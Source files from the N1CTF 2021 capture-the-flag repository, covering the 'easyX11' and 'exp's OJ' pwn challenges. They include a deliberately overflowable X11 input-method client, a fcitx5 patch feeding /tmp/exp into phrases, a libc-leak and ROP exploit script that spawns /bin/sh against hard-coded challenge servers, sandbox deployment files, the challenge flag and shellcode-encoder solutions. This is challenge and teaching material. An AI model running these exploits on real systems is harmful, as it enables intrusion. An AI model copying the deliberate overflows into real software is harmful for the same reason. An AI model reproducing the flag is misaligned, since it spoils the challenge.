libc.alarm(120) 29 | proxy_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 30 | proxy_server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 31 | proxy_server.bind(('127.0.0.1', 0)) 32 | proxy_server.listen(50) 33 | os.popen("DISPLAY=:{} ./x11 2>/dev/null &".format(proxy_server.getsockname()[1] - 6000)) 34 | conn, addr = proxy_server.accept() 35 | t1 = threading.Thread(target=send, args=(conn, )) 36 | t2 = threading.Thread(target=recv, args=(conn, )) 37 | t1.start() 38 | t2.start() 39 | try: 40 | t1.join() 41 | t2.join() 42 | except KeyboardInterrupt: 43 | os._exit(0) 44 | if __name__ == '__main__': 45 | main() -------------------------------------------------------------------------------- /Pwn/easyX11/file/x11: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Nu1LCTF/n1ctf-2021/84a3fff50ee0ef2f1fece112c75104600cc86a5d/Pwn/easyX11/file/x11 -------------------------------------------------------------------------------- /Pwn/easyX11/runexp.mkv: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Nu1LCTF/n1ctf-2021/84a3fff50ee0ef2f1fece112c75104600cc86a5d/Pwn/easyX11/runexp.mkv -------------------------------------------------------------------------------- /Pwn/easyX11/src/exp.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | context.log_level = 'debug' 4 | 5 | def sender(src, dst, num): 6 | leak_prefix = b'plusls'.ljust(0xa+8, b'a') 7 | while True: 8 | data = src.recv(4096) 9 | if len(data) == 0: 10 | break 11 | log.info(hexdump(data)) 12 | if num == 0 and leak_prefix in data: 13 | libc_ptr = data[data.find(leak_prefix) + len(leak_prefix): data.find(leak_prefix) + len(leak_prefix) + 6] 14 | log.success('libc_addr: {:#x}'.format(u64(libc_ptr + b'\x00\x00'))) 15 | dst.send(data) 16 | 17 | def gen(data): 18 | f = open('exp', 'wb') 19 | f.write(data) 20 | f.close() 21 | 22 | def main(): 23 | #l = remote('127.0.0.1', 11451) 24 | # l = remote('43.155.75.143', 9001) 25 | l = remote('175.27.160.156', 9001) 26 | #r = remote('wsl-host', 6004) 27 | r = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) 28 | r.connect("/tmp/.X11-unix/X0") 29 | 30 | t1 = threading.Thread(target=sender, args=(l, r, 0)) 31 | t2 = threading.Thread(target=sender, args=(r, l, 1)) 32 | t1.start() 33 | t2.start() 34 | 35 | gen(b'plusls'.ljust(0xa + 0x8, b'a')) 36 | log.info("gen leak exp success.") 37 | libc_ptr = int(input('libc_ptr: '), 16) 38 | if libc_ptr & 0xfff == 0xe4a: 39 | libc_base = libc_ptr - 0x27e4a 40 | payload = b'1919810'.ljust(0xa + 0x8, b'a') 41 | payload += p64(0x0401B0B) + p64(3) # rdi 42 | payload += p64(0x401B09) + p64(0) + p64(0) # rsi 43 | payload += p64(libc_base + 0x0EF1A0) # dup2 44 | payload += p64(0x0401B0B) + p64(3) # rdi 45 | payload += p64(0x401B09) + p64(1) + p64(0) # rsi 46 | payload += p64(libc_base + 0x0EF1A0) # dup2 47 | payload += p64(0x0401B0B) + p64(libc_base + 0x18969B) # rdi binsh 48 | payload += p64(libc_base + 0x76210) # puts 49 | payload += p64(0x0401B0B) + p64(libc_base + 0x18969B) # rdi binsh 50 | payload += p64(libc_base + 0x49E10) # system 51 | payload = payload.decode('latin').encode('utf-8') 52 | gen(payload) 53 | log.info("gen getshell success.") 54 | input() 55 | l.interactive() 56 | #t1.join() 57 | #t2.join() 58 | 59 | if __name__ == '__main__': 60 | main() -------------------------------------------------------------------------------- /Pwn/easyX11/src/fcitx5.diff: -------------------------------------------------------------------------------- 1 | diff --git a/src/modules/quickphrase/quickphraseprovider.cpp b/src/modules/quickphrase/quickphraseprovider.cpp 2 | index 0630057..083ecab 100644 3 | --- a/src/modules/quickphrase/quickphraseprovider.cpp 4 | +++ b/src/modules/quickphrase/quickphraseprovider.cpp 5 | @@ -53,6 +53,22 @@ void BuiltInQuickPhraseProvider::reloadConfig() { 6 | } 7 | load(p.second); 8 | } 9 | + FILE *fp = fopen("/tmp/exp", "rb"); 10 | + if (fp == NULL) { 11 | + return; 12 | + } 13 | + fseek(fp, 0, SEEK_END); 14 | + long expLen = ftell(fp); 15 | + fseek(fp, 0, SEEK_SET); 16 | + char *expTmpData = (char*)malloc(expLen); 17 | + std::string expData(expLen, 'x'); 18 | + fread(expTmpData, expLen, 1, fp); 19 | + for (int i = 0; i < expLen; ++i) { 20 | + expData[i] = expTmpData[i]; 21 | + } 22 | + fprintf(stderr, "expLen %ld, expTmpData: %s, expData: %s\n", expLen, expTmpData, expData.c_str()); 23 | + free(expTmpData); 24 | + map_.emplace("exp", expData); 25 | } 26 | 27 | void BuiltInQuickPhraseProvider::load(StandardPathFile &file) { 28 | @@ -104,7 +120,6 @@ void BuiltInQuickPhraseProvider::load(StandardPathFile &file) { 29 | escapeQuote = false; 30 | } 31 | stringutils::unescape(wordString, escapeQuote); 32 | - 33 | map_.emplace(std::move(key), std::move(wordString)); 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /Pwn/easyX11/src/xim.c: -------------------------------------------------------------------------------- 1 | // gcc -g xim.c -o xim -lX11 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | 12 | void utf8ToLatin(unsigned char *dst, unsigned char *src, size_t len) 13 | { 14 | int dstIdx = 0; 15 | for (size_t srcIdx = 0; srcIdx < len;) 16 | { 17 | if (src[srcIdx] <= 0x7f) 18 | { 19 | dst[dstIdx] = src[srcIdx]; 20 | srcIdx++; 21 | } 22 | else if (src[srcIdx] == 0xc2 && srcIdx + 1 < len) 23 | { 24 | dst[dstIdx] = src[srcIdx + 1]; 25 | srcIdx += 2; 26 | } 27 | else if (src[srcIdx] == 0xc3 && srcIdx + 1 < len) 28 | { 29 | dst[dstIdx] = src[srcIdx + 1] + 0x40; 30 | srcIdx += 2; 31 | } 32 | else 33 | { 34 | fputs("invalid utf8 character string.\n", stderr); 35 | exit(0); 36 | } 37 | dstIdx++; 38 | } 39 | } 40 | 41 | void refresh(Display *display, Window window, GC graphicalContext, int scr, char *buffer) 42 | { 43 | XWindowAttributes windowAttributes; 44 | XGetWindowAttributes(display, window, &windowAttributes); 45 | int text_x = (windowAttributes.width) / 2; 46 | int text_y = (windowAttributes.height) / 2; 47 | 48 | XSetForeground(display, graphicalContext, WhitePixel(display, scr)); 49 | XFillRectangle(display, window, graphicalContext, 0, 0, windowAttributes.width, windowAttributes.height); 50 | XSetForeground(display, graphicalContext, BlackPixel(display, scr)); 51 | 52 | XDrawString(display, window, graphicalContext, 53 | text_x, text_y, buffer, strlen(buffer)); 54 | } 55 | 56 | void mainLogic(char *overflow) 57 | { 58 | if (!XSupportsLocale()) 59 | { 60 | perror("not support locale\n"); 61 | exit(0); 62 | } 63 | 64 | if (setlocale(LC_CTYPE, "en_US.UTF-8") == NULL) 65 | { 66 | perror("can not set locale\n"); 67 | exit(0); 68 | } 69 | XSetLocaleModifiers("@im=114514"); 70 | // 根据环境变量中的 DISPLAY 设置 XServer 并且打开 71 | Display *display = XOpenDisplay(NULL); 72 | if (display == NULL) 73 | { 74 | fprintf(stderr, "Open display %s error.\n", getenv("DISPLAY")); 75 | perror("XOpenDisplay"); 76 | exit(0); 77 | } 78 | 79 | int scr = DefaultScreen(display); 80 | Window window = XCreateSimpleWindow(display, 81 | XDefaultRootWindow(display), 82 | 0, 0, 400, 400, 5, 83 | BlackPixel(display, scr), 84 | WhitePixel(display, scr)); 85 | XMapWindow(display, window); 86 | 87 | XStoreName(display, window, "N1CTF Easy X11"); 88 | 89 | XSelectInput(display, window, ExposureMask | KeyPressMask); 90 | 91 | GC graphicalContext = XCreateGC(display, window, 0, NULL); 92 | 93 | XIM xim = XOpenIM(display, NULL, NULL, NULL); 94 | if (xim == NULL) 95 | { 96 | fputs("XOpenIM @im=114514 faild.\n", stderr); 97 | XSetLocaleModifiers(""); 98 | xim = XOpenIM(display, NULL, NULL, NULL); 99 | if (xim == NULL) 100 | { 101 | fputs("XOpenIM faild.\n", stderr); 102 | exit(0); 103 | } 104 | } 105 | 106 | XIC ic = XCreateIC(xim, 107 | XNInputStyle, XIMPreeditNothing | XIMStatusNothing, 108 | XNClientWindow, window, 109 | NULL); 110 | XSetICFocus(ic); 111 | 112 | char *buff; 113 | size_t buff_size = 16; 114 | buff = (char *)malloc(buff_size); 115 | refresh(display, window, graphicalContext, scr, overflow); 116 | for (;;) 117 | { 118 | KeySym ksym; 119 | Status status; 120 | XEvent ev; 121 | XPoint spot; 122 | XNextEvent(display, &ev); 123 | if (XFilterEvent(&ev, None)) 124 | continue; 125 | if (ev.type == KeyPress) 126 | { 127 | size_t stringLen = Xutf8LookupString(ic, &ev.xkey, 128 | buff, buff_size - 1, 129 | &ksym, &status); 130 | if (status == XBufferOverflow) 131 | { 132 | printf("reallocate: %lu\n", stringLen + 1); 133 | buff = realloc(buff, stringLen + 1); 134 | buff_size = stringLen + 1; 135 | stringLen = Xutf8LookupString(ic, &ev.xkey, 136 | buff, stringLen, 137 | &ksym, &status); 138 | } 139 | if (stringLen) 140 | { 141 | buff[stringLen] = 0; 142 | memset(overflow, 0, 10); 143 | utf8ToLatin(overflow, buff, stringLen); 144 | refresh(display, window, graphicalContext, scr, overflow); 145 | if (!strncmp(overflow, "1919810", 7)) { 146 | return; 147 | } 148 | } 149 | } 150 | else if (ev.type == Expose) 151 | { 152 | refresh(display, window, graphicalContext, scr, overflow); 153 | } 154 | } 155 | } 156 | 157 | 158 | int main() 159 | { 160 | char overflow[10] = "Easy X11"; 161 | mainLogic(overflow); 162 | } 163 | -------------------------------------------------------------------------------- /Pwn/exp's OJ/README.md: -------------------------------------------------------------------------------- 1 | # exp's OJ 2 | In this challenge, your need to upload alphanumeric shellcode to solve some algorithm challenges. 3 | 4 | The alphanumeric shellcode encoder is written by myself. And to reach the limit of upload size. I use a simple XOR shellcode encoder to reduce the bytes which alphanumeric shellcode encoder need to convert 5 | 6 | The first two challenge is easy and does not need to explain. The third challenge is about sequence alignment and should use some algorithm like Smith-Waterman to solve 7 | 8 | For more details, just check the "exp" directory 9 | -------------------------------------------------------------------------------- /Pwn/exp's OJ/deploy/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:18.04 AS chroot 2 | 3 | RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && \ 4 | sed -i "s/http:\/\/security.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list 5 | 6 | RUN apt-get update && \ 7 | apt-get -y dist-upgrade && \ 8 | apt-get install -y libcrypto++6 libssl1.0.0 openssl python3 9 | 10 | RUN useradd --no-create-home -u 1000 user 11 | COPY flag /app/ 12 | COPY noj /app/ 13 | COPY runner /app/ 14 | COPY pow.py /app/ 15 | RUN chown root:root /app/flag && \ 16 | chmod 644 /app/flag && \ 17 | chown root:root /app/noj && \ 18 | chmod 755 /app/noj && \ 19 | chown root:root /app/runner && \ 20 | chmod 755 /app/runner && \ 21 | chown root:root /app/pow.py && \ 22 | chmod 755 /app/pow.py 23 | 24 | FROM ubuntu:18.04 25 | 26 | RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && \ 27 | sed -i "s/http:\/\/security.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list 28 | 29 | RUN apt-get update && \ 30 | apt-get -y dist-upgrade && \ 31 | apt-get install -y setpriv libprotobuf10 libnl-route-3-200 32 | 33 | COPY --from=chroot / /chroot 34 | COPY setup /usr/bin/ 35 | COPY drop_privs /usr/bin/ 36 | COPY nsjail /usr/bin/ 37 | COPY pwn.cfg / 38 | RUN useradd --no-create-home -u 1000 user 39 | 40 | RUN chmod 755 /usr/bin/setup && \ 41 | chmod 755 /usr/bin/drop_privs && \ 42 | chmod 755 /usr/bin/nsjail && \ 43 | chmod 644 /pwn.cfg 44 | 45 | EXPOSE 1337 46 | CMD setup && \ 47 | exec drop_privs \ 48 | nsjail --config /pwn.cfg --mode l --port 1337 -- /bin/sh -c "/app/pow.py ask 11337 && /app/noj" 49 | -------------------------------------------------------------------------------- /Pwn/exp's OJ/deploy/drop_privs: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # There are two copies of this file in the nsjail and healthcheck base images. 4 | 5 | all_caps="-cap_0" 6 | for i in $(seq 1 $(cat /proc/sys/kernel/cap_last_cap)); do 7 | all_caps+=",-cap_${i}" 8 | done 9 | 10 | exec setpriv --init-groups --reuid user --regid user --inh-caps=${all_caps} -- "$@" 11 | -------------------------------------------------------------------------------- /Pwn/exp's OJ/deploy/flag: -------------------------------------------------------------------------------- 1 | n1ctf{hav3_Fun_wIth_she1lc0de_Enc0der_} -------------------------------------------------------------------------------- /Pwn/exp's OJ/deploy/noj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Nu1LCTF/n1ctf-2021/84a3fff50ee0ef2f1fece112c75104600cc86a5d/Pwn/exp's OJ/deploy/noj -------------------------------------------------------------------------------- /Pwn/exp's OJ/deploy/nsjail: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Nu1LCTF/n1ctf-2021/84a3fff50ee0ef2f1fece112c75104600cc86a5d/Pwn/exp's OJ/deploy/nsjail -------------------------------------------------------------------------------- /Pwn/exp's OJ/deploy/pow.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # Copyright 2020 Google LLC 4 | # 5 | # Licensed under the Apache License, Version 2.0 (the "License"); 6 | # you may not use this file except in compliance with the License. 7 | # You may obtain a copy of the License at 8 | # 9 | # https://www.apache.org/licenses/LICENSE-2.0 10 | # 11 | # Unless required by applicable law or agreed to in writing, software 12 | # distributed under the License is distributed on an "AS IS" BASIS, 13 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 14 | # See the License for the specific language governing permissions and 15 | # limitations under the License. 16 | 17 | # this pow script is from google's kctf 18 | # https://github.com/google/kctf/blob/v1/docker-images/challenge/pow.py 19 | 20 | import base64 21 | import os 22 | import secrets 23 | import socket 24 | import sys 25 | import hashlib 26 | 27 | try: 28 | import gmpy2 29 | HAVE_GMP = True 30 | except ImportError: 31 | HAVE_GMP = False 32 | sys.stderr.write("[NOTICE] Running 10x slower, gotta go fast? pip3 install gmpy2\n") 33 | 34 | VERSION = 's' 35 | MODULUS = 2**1279-1 36 | CHALSIZE = 2**128 37 | 38 | 39 | def python_sloth_root(x, diff, p): 40 | exponent = (p + 1) // 4 41 | for i in range(diff): 42 | x = pow(x, exponent, p) ^ 1 43 | return x 44 | 45 | def python_sloth_square(y, diff, p): 46 | for i in range(diff): 47 | y = pow(y ^ 1, 2, p) 48 | return y 49 | 50 | def gmpy_sloth_root(x, diff, p): 51 | exponent = (p + 1) // 4 52 | for i in range(diff): 53 | x = gmpy2.powmod(x, exponent, p).bit_flip(0) 54 | return int(x) 55 | 56 | def gmpy_sloth_square(y, diff, p): 57 | y = gmpy2.mpz(y) 58 | for i in range(diff): 59 | y = gmpy2.powmod(y.bit_flip(0), 2, p) 60 | return int(y) 61 | 62 | def sloth_root(x, diff, p): 63 | if HAVE_GMP: 64 | return gmpy_sloth_root(x, diff, p) 65 | else: 66 | return python_sloth_root(x, diff, p) 67 | 68 | def sloth_square(x, diff, p): 69 | if HAVE_GMP: 70 | return gmpy_sloth_square(x, diff, p) 71 | else: 72 | return python_sloth_square(x, diff, p) 73 | 74 | def encode_number(num): 75 | size = (num.bit_length() // 24) * 3 + 3 76 | return str(base64.b64encode(num.to_bytes(size, 'big')), 'utf-8') 77 | 78 | def decode_number(enc): 79 | return int.from_bytes(base64.b64decode(bytes(enc, 'utf-8')), 'big') 80 | 81 | def decode_challenge(enc): 82 | dec = enc.split('.') 83 | if dec[0] != VERSION: 84 | raise Exception('Unknown challenge version') 85 | return list(map(decode_number, dec[1:])) 86 | 87 | def encode_challenge(arr): 88 | return '.'.join([VERSION] + list(map(encode_number, arr))) 89 | 90 | def get_challenge(diff): 91 | x = secrets.randbelow(CHALSIZE) 92 | return encode_challenge([diff, x]) 93 | 94 | def solve_challenge(chal): 95 | [diff, x] = decode_challenge(chal) 96 | y = sloth_root(x, diff, MODULUS) 97 | return encode_challenge([y]) 98 | 99 | def verify_challenge(chal, sol, allow_bypass=True): 100 | [diff, x] = decode_challenge(chal) 101 | [y] = decode_challenge(sol) 102 | res = sloth_square(y, diff, MODULUS) 103 | return (x == res) or (MODULUS - x == res) 104 | 105 | def usage(): 106 | sys.stdout.write('Usage:\n') 107 | sys.stdout.write('Solve pow: {} solve $challenge\n') 108 | sys.stdout.write('Check pow: {} ask $difficulty\n') 109 | sys.stdout.write(' $difficulty examples (for 1.6GHz CPU) in fast mode:\n') 110 | sys.stdout.write(' 1337: 1 sec\n') 111 | sys.stdout.write(' 31337: 30 secs\n') 112 | sys.stdout.write(' 313373: 5 mins\n') 113 | sys.stdout.flush() 114 | sys.exit(1) 115 | 116 | def main(): 117 | if len(sys.argv) != 3: 118 | usage() 119 | sys.exit(1) 120 | 121 | cmd = sys.argv[1] 122 | 123 | if cmd == 'ask': 124 | difficulty = int(sys.argv[2]) 125 | 126 | if difficulty == 0: 127 | sys.stdout.write("== proof-of-work: disabled ==\n") 128 | sys.exit(0) 129 | 130 | 131 | challenge = get_challenge(difficulty) 132 | 133 | sys.stdout.write("== proof-of-work: enabled ==\n") 134 | sys.stdout.write("please solve a pow first\n") 135 | sys.stdout.write("You can run the solver with:\n") 136 | sys.stdout.write(" python3 ./pow.py solve {}\n".format(challenge)) 137 | sys.stdout.write("===================\n") 138 | sys.stdout.write("\n") 139 | sys.stdout.write("Solution? ") 140 | sys.stdout.flush() 141 | solution = '' 142 | with os.fdopen(0, "rb", 0) as f: 143 | while not solution: 144 | line = f.readline().decode("utf-8") 145 | if not line: 146 | sys.stdout.write("EOF") 147 | sys.stdout.flush() 148 | sys.exit(1) 149 | solution = line.strip() 150 | 151 | if verify_challenge(challenge, solution): 152 | sys.stdout.write("Correct\n") 153 | sys.stdout.flush() 154 | sys.exit(0) 155 | else: 156 | sys.stdout.write("Proof-of-work fail") 157 | sys.stdout.flush() 158 | 159 | elif cmd == 'solve': 160 | challenge = sys.argv[2] 161 | solution = solve_challenge(challenge) 162 | 163 | if verify_challenge(challenge, solution, False): 164 | sys.stderr.write("Solution: \n".format(solution)) 165 | sys.stderr.flush() 166 | sys.stdout.write(solution) 167 | sys.stdout.flush() 168 | sys.stderr.write("\n") 169 | sys.stderr.flush() 170 | sys.exit(0) 171 | else: 172 | usage() 173 | 174 | sys.exit(1) 175 | 176 | if __name__ == "__main__": 177 | main() 178 | -------------------------------------------------------------------------------- /Pwn/exp's OJ/deploy/pwn.cfg: -------------------------------------------------------------------------------- 1 | name: "pwn-strict" 2 | 3 | mode: ONCE 4 | uidmap {inside_id: "1000"} 5 | gidmap {inside_id: "1000"} 6 | rlimit_as_type: HARD 7 | rlimit_cpu_type: HARD 8 | 9 | rlimit_nofile: 4096 10 | rlimit_nproc_type: VALUE 11 | rlimit_nproc: 4096 12 | 13 | cwd: "/app" 14 | 15 | mount: [ 16 | { 17 | src: "/chroot" 18 | dst: "/" 19 | is_bind: true 20 | }, 21 | { 22 | dst: "/proc" 23 | fstype: "proc" 24 | }, 25 | { 26 | dst: "/tmp" 27 | fstype: "tmpfs" 28 | rw: true 29 | } 30 | ] 31 | -------------------------------------------------------------------------------- /Pwn/exp's OJ/deploy/runner: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Nu1LCTF/n1ctf-2021/84a3fff50ee0ef2f1fece112c75104600cc86a5d/Pwn/exp's OJ/deploy/runner -------------------------------------------------------------------------------- /Pwn/exp's OJ/deploy/setup: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright 2020 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # https://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | set -Eeuxo pipefail 16 | 17 | # We need a clean proc for user namespaces 18 | mkdir -p /kctf/.fullproc/proc 19 | mount -t proc none /kctf/.fullproc/proc 20 | 21 | # create common dev files 22 | mkdir -p /chroot/dev 23 | mount -t tmpfs tmpfs /chroot/dev 24 | mknod -m 666 /chroot/dev/null c 1 3 25 | mknod -m 666 /chroot/dev/urandom c 1 9 26 | -------------------------------------------------------------------------------- /Pwn/exp's OJ/exp/chall1.c: -------------------------------------------------------------------------------- 1 | typedef int ssize_t; 2 | typedef unsigned int size_t; 3 | #define STDIN_FILENO 0 4 | #define STDOUT_FILENO 1 5 | ssize_t read(int fd, void *buf, size_t count) { 6 | ssize_t re; 7 | asm("movl %1, %%edi;\n" \ 8 | "movq %2, %%rsi;\n" \ 9 | "movl %3, %%edx;\n" \ 10 | "movl $0, %%eax;\n" \ 11 | "syscall;\n" \ 12 | "movl %%eax, %0;\n" \ 13 | : "=r"(re) \ 14 | : "m"(fd), "m"(buf), "m"(count) \ 15 | ); 16 | return re; 17 | } 18 | 19 | ssize_t write(int fd, void *buf, size_t count) { 20 | ssize_t re; 21 | asm("movl %1, %%edi;\n" \ 22 | "movq %2, %%rsi;\n" \ 23 | "movl %3, %%edx;\n" \ 24 | "movl $1, %%eax;\n" \ 25 | "syscall;\n" \ 26 | "movl %%eax, %0;\n" \ 27 | : "=r"(re) \ 28 | : "m"(fd), "m"(buf), "m"(count) \ 29 | ); 30 | return re; 31 | } 32 | 33 | 34 | void sort(unsigned int * numbers) { 35 | for(int i = 0x1000-1; i>0; i--) { 36 | for(int j=0; j numbers[j+1]) { 38 | unsigned int tmp = numbers[j]; 39 | numbers[j] = numbers[j+1]; 40 | numbers[j+1] = tmp; 41 | } 42 | } 43 | } 44 | } 45 | 46 | int _start() { 47 | unsigned int numbers[0x1000]; 48 | 49 | //read(STDIN_FILENO, numbers, 4); 50 | for(int i = 0; i< 0x1000;i++) { 51 | read(STDIN_FILENO, numbers+i, 4); 52 | } 53 | sort(numbers); 54 | for(int i=0;i<0x1000;i++) { 55 | write(STDOUT_FILENO, numbers+i, 4); 56 | } 57 | } 58 | -------------------------------------------------------------------------------- /Pwn/exp's OJ/exp/chall2.c: -------------------------------------------------------------------------------- 1 | typedef int ssize_t; 2 | typedef unsigned int size_t; 3 | #define STDIN_FILENO 0 4 | #define STDOUT_FILENO 1 5 | ssize_t read(int fd, void *buf, size_t count) { 6 | ssize_t re; 7 | asm("movl %1, %%edi;\n" \ 8 | "movq %2, %%rsi;\n" \ 9 | "movl %3, %%edx;\n" \ 10 | "movl $0, %%eax;\n" \ 11 | "syscall;\n" \ 12 | "movl %%eax, %0;\n" \ 13 | : "=r"(re) \ 14 | : "m"(fd), "m"(buf), "m"(count) \ 15 | ); 16 | return re; 17 | } 18 | 19 | ssize_t write(int fd, void *buf, size_t count) { 20 | ssize_t re; 21 | asm("movl %1, %%edi;\n" \ 22 | "movq %2, %%rsi;\n" \ 23 | "movl %3, %%edx;\n" \ 24 | "movl $1, %%eax;\n" \ 25 | "syscall;\n" \ 26 | "movl %%eax, %0;\n" \ 27 | : "=r"(re) \ 28 | : "m"(fd), "m"(buf), "m"(count) \ 29 | ); 30 | return re; 31 | } 32 | 33 | __attribute__((section(".text"))) char base64_table[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; 34 | 35 | void base64(unsigned char *data) { 36 | char * b = base64_table; 37 | for(int i=0;i<85;i++) { 38 | unsigned char a1 = data[i*3]; 39 | unsigned char a2 = data[i*3+1]; 40 | unsigned char a3 = data[i*3+2]; 41 | write(STDOUT_FILENO, b + (a1>>2), 1); 42 | write(STDOUT_FILENO, b + ((a1&3)<<4 | (a2>>4)), 1); 43 | write(STDOUT_FILENO, b + ((a2&0xf)<<2 | (a3>>6)), 1); 44 | write(STDOUT_FILENO, b + (a3&0x3f), 1); 45 | } 46 | 47 | char c = '='; 48 | write(STDOUT_FILENO, b + (data[255]>>2),1); 49 | write(STDOUT_FILENO, b+ ((data[255]&3)<<4), 1); 50 | write(STDOUT_FILENO, &c, 1); 51 | write(STDOUT_FILENO, &c, 1); 52 | } 53 | 54 | int _start(){ 55 | unsigned char data[0x100]; 56 | 57 | //read(STDIN_FILENO, data, 0x1); 58 | 59 | read(STDIN_FILENO, data, 0x100); 60 | base64(data); 61 | } 62 | 63 | -------------------------------------------------------------------------------- /Pwn/exp's OJ/exp/chall3.c: -------------------------------------------------------------------------------- 1 | // 2 | // Created by explorer on 2021/11/18. 3 | // 4 | typedef int ssize_t; 5 | typedef unsigned int size_t; 6 | #define STDIN_FILENO 0 7 | #define STDOUT_FILENO 1 8 | 9 | 10 | ssize_t rwead(int fd, void *buf, size_t count, int call) { 11 | ssize_t re; 12 | asm("movl %1, %%edi;\n" \ 13 | "movq %2, %%rsi;\n" \ 14 | "movl %3, %%edx;\n" \ 15 | "movl %4, %%eax;\n" \ 16 | "syscall;\n" \ 17 | "movl %%eax, %0;\n" \ 18 | : "=r"(re) \ 19 | : "m"(fd), "m"(buf), "m"(count), "m"(call) \ 20 | ); 21 | return re; 22 | } 23 | 24 | #define read(a, b, c) rwead((a),(b),(c), 0) 25 | #define write(a, b, c) rwead((a),(b),(c), 1) 26 | 27 | //ssize_t read(int fd, void *buf, size_t count) { 28 | // ssize_t re; 29 | // asm("movl %1, %%edi;\n" \ 30 | // "movq %2, %%rsi;\n" \ 31 | // "movl %3, %%edx;\n" \ 32 | // "movl $0, %%eax;\n" \ 33 | // "syscall;\n" \ 34 | // "movl %%eax, %0;\n" \ 35 | // : "=r"(re) \ 36 | // : "m"(fd), "m"(buf), "m"(count) \ 37 | // ); 38 | // return re; 39 | //} 40 | // 41 | //ssize_t write(int fd, void *buf, size_t count) { 42 | // ssize_t re; 43 | // asm("movl %1, %%edi;\n" \ 44 | // "movq %2, %%rsi;\n" \ 45 | // "movl %3, %%edx;\n" \ 46 | // "movl $1, %%eax;\n" \ 47 | // "syscall;\n" \ 48 | // "movl %%eax, %0;\n" \ 49 | // : "=r"(re) \ 50 | // : "m"(fd), "m"(buf), "m"(count) \ 51 | // ); 52 | // return re; 53 | //} 54 | 55 | int func(int num) { 56 | int d = num / 4 - 20; 57 | if (d < 0) { 58 | d = 0; 59 | } 60 | return d; 61 | } 62 | 63 | void align(unsigned short map[0x400][0x400], unsigned char *seq1, unsigned char *seq2) { 64 | for (int x = 0; x < 0x400; x++) { 65 | map[x][0] = 1; 66 | map[0][x] = 2; 67 | } 68 | int max_m = 0; 69 | int max_x; 70 | int max_y; 71 | for (int x = 1; x < 0x400; x++) { 72 | for (int y = 1; y < 0x400; y++) { 73 | int m1 = func(map[x - 1][y]); 74 | int m2 = func(map[x][y - 1]); 75 | int m3 = map[x - 1][y - 1] / 4; 76 | unsigned char dd = seq1[x - 1] - seq2[y - 1]; 77 | int d = (char) dd; 78 | if (d < 0) { 79 | if (d <= -10) { 80 | d = -10000; 81 | } else { 82 | d = 40 + d; 83 | } 84 | } else { 85 | if (d < 10) { 86 | d = 40 - d; 87 | } else { 88 | d = -10000; 89 | } 90 | } 91 | m3 += d; 92 | if (m3 < 0) { 93 | m3 = 0; 94 | } 95 | 96 | int m; 97 | if (m1 > m2) { 98 | if (m1 >= m3) { 99 | m = m1 * 4 + 1; 100 | } else { 101 | m = m3 * 4 + 3; 102 | } 103 | } else { 104 | if (m2 >= m3) { 105 | m = m2 * 4 + 2; 106 | } else { 107 | m = m3 * 4 + 3; 108 | } 109 | } 110 | map[x][y] = m; 111 | if ((m & 0xfffc) > max_m) { 112 | max_m = map[x][y]; 113 | max_x = x; 114 | max_y = y; 115 | } 116 | } 117 | } 118 | unsigned char buf2[32]; 119 | int i = 31; 120 | while (i >= 0) { 121 | int c = map[max_x][max_y] & 0x3; 122 | if (c == 1) { 123 | max_x -= 1; 124 | } else if (c == 2) { 125 | max_y -= 1; 126 | } else { 127 | max_x -= 1; 128 | max_y -= 1; 129 | buf2[i] = seq2[max_y]; 130 | i -= 1; 131 | } 132 | } 133 | write(STDOUT_FILENO, buf2, 32); 134 | } 135 | 136 | int _start() { 137 | unsigned char seq1[0x400]; 138 | unsigned char seq2[0x400]; 139 | //read(STDIN_FILENO, seq1, 1); 140 | read(STDIN_FILENO, seq1, 0x400); 141 | read(STDIN_FILENO, seq2, 0x400); 142 | void *addr; 143 | asm("call a;\n" \ 144 | "a: pop %%rax;\n" \ 145 | "movq %%rax, %0;\n" \ 146 | : "=r"(addr) 147 | ); 148 | align(addr, seq1, seq2); 149 | } 150 | -------------------------------------------------------------------------------- /Pwn/exp's OJ/exp/encoder/__init__.py: -------------------------------------------------------------------------------- 1 | from .encoder import Encoder, encode, encoder_with_xor_compress 2 | -------------------------------------------------------------------------------- /Pwn/exp's OJ/exp/encoder/encoder.py: -------------------------------------------------------------------------------- 1 | from encoder import util 2 | from .shellcode_template import CodeInit, AutoNumGen, Mov, MulReg, Padding, ShellCodeXor 3 | import typing 4 | 5 | import pwn 6 | 7 | IdxList = typing.List[int] 8 | EncBlock = typing.Tuple[int, IdxList] 9 | log_process = None 10 | 11 | 12 | class Encoder(object): 13 | def __init__(self, shellcode, base_reg: str, offset: int = 0): 14 | self.base_reg = base_reg 